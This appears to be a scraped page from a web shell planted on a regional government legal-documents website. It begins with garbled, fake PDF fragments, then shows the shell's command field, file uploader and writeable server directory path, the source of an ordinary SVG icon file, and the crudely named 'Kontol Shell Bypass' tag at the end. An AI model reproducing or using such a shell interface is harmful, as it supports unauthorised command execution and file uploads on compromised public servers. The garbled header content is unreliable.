%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /www/wwwroot/jdih.dprd.mukomukokab.go.id/assets/681b44a4/gfx/stock-icons/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /www/wwwroot/jdih.dprd.mukomukokab.go.id/assets/681b44a4/gfx/stock-icons/measure-xy.svg
<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 viewBox="0 0 32 32" enable-background="new 0 0 32 32" xml:space="preserve">
<g>
	<g>
		<rect x="26.75" y="19" fill="#4B4B4D" width="1.5" height="3"/>
		<rect x="26.75" y="14" fill="#4B4B4D" width="1.5" height="3"/>
		<rect x="26.75" y="9" fill="#4B4B4D" width="1.5" height="3"/>
		<rect x="20" y="25.75" fill="#4B4B4D" width="3" height="1.5"/>
		<rect x="15" y="25.75" fill="#4B4B4D" width="3" height="1.5"/>
		<rect x="10" y="25.75" fill="#4B4B4D" width="3" height="1.5"/>
		<rect x="4.75" y="9.001" fill="#4B4B4D" width="1.5" height="2.999"/>
		<rect x="4.75" y="14.001" fill="#4B4B4D" width="1.5" height="2.999"/>
		<rect x="4.75" y="19.001" fill="#4B4B4D" width="1.5" height="2.999"/>
		<rect x="10" y="3.751" fill="#4B4B4D" width="3" height="1.5"/>
		<rect x="15" y="3.751" fill="#4B4B4D" width="3" height="1.5"/>
		<rect x="20" y="3.751" fill="#4B4B4D" width="3" height="1.5"/>
	</g>
	<polygon fill="#4B4B4D" points="25,3.75 25,5.25 26.75,5.25 26.75,7 28.25,7 28.25,3.75 	"/>
	<polygon fill="#4B4B4D" points="4.75,7 6.25,7 6.25,5.25 8,5.25 8,3.75 4.75,3.75 	"/>
	<polygon fill="#4B4B4D" points="8,27.25 8,25.75 6.25,25.75 6.25,24 4.75,24 4.75,27.25 	"/>
	<polygon fill="#4B4B4D" points="28.25,24 26.75,24 26.75,25.75 25,25.75 25,27.25 28.25,27.25 	"/>
	<polygon fill="#4B4B4D" points="16.5,6.535 14.5,10 16,10 16,21 14.5,21 16.5,24.465 18.5,21 17,21 17,10 18.5,10 	"/>
	<polygon fill="#4B4B4D" points="25.465,15.5 22,13.5 22,15 11,15 11,13.5 7.535,15.5 11,17.5 11,16 22,16 22,17.5 	"/>
</g>
</svg>

Kontol Shell Bypass